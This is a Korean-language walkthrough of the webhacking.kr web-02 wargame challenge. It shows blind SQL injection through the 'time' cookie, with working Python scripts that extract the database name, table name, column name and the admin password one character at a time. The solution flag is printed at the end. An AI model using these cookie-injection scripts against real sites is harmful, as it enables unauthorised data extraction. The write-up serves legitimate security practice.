목표 : Blind SQL Injection
크롬에서 F12를 눌러 소스를 보자.
<!-- if you access admin.php i will kick your ass -->
PHP
복사
대놓고 admin.php 주소를 알려준다 접속해보자
비밀번호를 입력하는 칸이 나오고, 소스코드는 다음과 같다
<form method=post>
type your secret password <input name=pw> <input type=submit>
PHP
복사
' or 1=1 -- 와 같은 간단한 SQL injection을 시도해봤지만 먹히지 않았다.
다시 전 페이지로 돌아가 시간 값이 주석처리 및 쿠키 값에 time 값이 있던 걸 확인.
쿠키time 값을 1로 바꾸면 2070년으로 바뀌는걸 확인할 수 있다.
10으로 바꾸면 09:00:10, 즉 time값 1당 1초다
입력에 따라 결과가 바뀌므로 time 값에 숫자를 표현할 수 있다면 Blind SQL Injection이 가능하다
Blind SQL Injection
1. 테이블 개수 구하기
(select count(table_name) from information_schema.tables where table_schema=database())
PHP
복사
테이블 개수 : 2
2. 테이블 이름 길이 구하기 (스킵 후 바로 3번 가능)
•
첫번째 테이블 이름 길이 : 13
(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)
PHP
복사
결과 : 13
•
두번째 테이블 이름 길이
(select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)
PHP
복사
결과 : 3
3. 테이블 이름 구하기
•
1글자씩 구하는 방법
#2번째 테이블 1번째 글자
(select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 1,1)
#2번째 테이블 2번째 글자
(select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema=database() limit 1,1)
#2번째 테이블 3번째 글자
(select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema=database() limit 1,1)
PHP
복사
변환결과 : log
•
#데이터베이스 이름 구하기
import requests
url = 'https://webhacking.kr/challenge/web-02/'
db = ''
bye = 0
for i in range(1,64): #기존 SQL DB 문자열 길이는 최대 64개
if bye == 1:
break
for j in range(33,133): #상단 아스키코드표 참조
c = {"cookie":"PHPSESSID=자신의 세션; time=0||if(ord(substr((select database()),{},1))={},1,0)".format(i,j)}
res = requests.get(url, cookies=c)
#print("i : {}, j : {}".format(i, j))
if res.text.find("09:00:01") != -1:
db += chr(j)
print(db)
break
# 문자열을 찾지 못하면 -1을 반환한다.
# 참이면, 09:00:01로 1초를 반환하고 false일시 0초를 반환한다.
if j == 132:
# 마지막까지 갔다는 것은 db이름 끝까지 구해졌다는 의미이다.
bye=1
break
print("database : {}".format(db))
Python
복사
데이터베이스 이름은 chall2
•
Python3로 자동화하여 테이블명 구하기
#첫번째 테이블명 이름 구하기 (사전에 길이가 13이라는 것을 알고 있다)
import requests
url = "https://webhacking.kr/challenge/web-02/"
first_table=''
bye = 0
for i in range(1,14):
if bye == 1:
break
for j in range(33,133):
c = {"cookie":"PHPSESSID=자신의 세션;time=0|| if(ord(substr((select table_name from information_schema.tables where table_schema='chall2' limit 0,1),{},1))={},1,0)".format(i,j)}
res = requests.get(url, cookies=c)
if res.text.find('09:00:01') != -1 :
print(chr(j))
first_table += chr(j)
break
if j == 132:
bye = 1
break
print("first table name : {}".format(first_table))
Python
복사
테이블 이름은 admin_area_pw
4. 테이블 Amin_area_pw의 컬럼 수
(select count(column_name) from information_schema.columns where table_name = "admin_area_pw")
PHP
복사
컬럼 수 : 1
5. 컬럼의 이름 확인하기
url = "https://webhacking.kr/challenge/web-02/"
bye = 0
column_name=''
for i in range(1, 50):
if bye == 1:
break
for j in range(33, 133):
c = {"cookie":"PHPSESSID=자신의 쿠키값;time=0|| if(ord(substr((select column_name from information_schema.columns where table_name='admin_area_pw'),{},1))={},1,0)".format(i,j)}
res = requests.get(url, cookies=c)
if res.text.find("09:00:01") != -1:
print(chr(j))
column_name+=chr(j)
break
if j == 132:
bye = 1
break
print("column_name : {}".format(column_name))
PHP
복사
컬럼 이름 : pw
6. 컬럼 pw의 데이터 개수
(select count(pw) from admin_area_pw
PHP
복사
데이터 수 : 1개
7. 컬럼 pw의 데이터 내용 추출
import requests
url = "https://webhacking.kr/challenge/web-02/"
bye = 0
pw=''
for i in range(1, 50):
if bye == 1:
break
for j in range(33, 133):
c = {"cookie":"PHPSESSID=자신쿠키값;time=0|| if(ord(substr((select pw from admin_area_pw),{},1))={},1,0)".format(i,j)}
res = requests.get(url, cookies=c)
if res.text.find("09:00:01") != -1:
print(chr(j))
pw+=chr(j)
break
if j == 132:
bye = 1
break
print("pw : {}".format(pw))
PHP
복사
비밀번호 획득 : kudos_to_beistlab